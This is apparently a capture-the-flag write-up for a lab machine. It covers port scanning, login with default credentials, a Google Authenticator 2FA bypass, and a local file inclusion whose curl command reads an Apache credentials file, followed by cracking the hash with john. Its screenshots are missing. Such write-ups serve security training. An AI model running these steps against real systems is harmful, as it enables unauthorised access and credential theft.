$ nmap -p- --min-rate 4000 192.168.202.144
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 22:36 +08
Nmap scan report for 192.168.202.144
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Web Enum -> Google Auth
Visiting port 80 requires credentials:
admin:admin works. Afterwards, we are just greeted by this:
In the comments, there's a hidden directory:
Googling this leads to some Apache 2FA thing using Google Authenticator:
The repository included this interesting bit here:
So within Google Authenticaotr, we can click the Plus sign in the corner:
We can then enter this key:
After adding this, we would get a OTP every 30 seconds as with normal Google Authenticator:
Keying in this 2FA token would grant us access to the web page:
LFI -> User Creds + Token
The website is obviously vulnerable to some form of exploit. When we run it and view the result, it shows us the results by reading from a file:
This is very obviously vulnerable to LFI, and we can use that to read other files.
There weren't any SSH keys to read for the fox user. However, the Github repo did mention that there is an apache_credentials file somewhere on this machine.
After some testing, I found in within the /opt directory:$ curl -H 'Cookie: 2FA_Auth=junH2NR79pTrLiI800JewoWsESYCry6Xbz4oaIJ71VlhUKEHPNcdHsq4I6uK1CZUMKBz1ZExSDC0OcpmcFEyojXc823DIB9PA6ExXs' -G --data-urlencode 'view=/opt/apache_2fa/apache_credentials' http://192.168.202.144/spool/viewresult.php
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
THERESE (?)
1g 0:00:00:00 DONE (2023-07-06 22:55) 1.250g/s 257760p/s 257760c/s 257760C/s abhijeet..ROSALINDA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
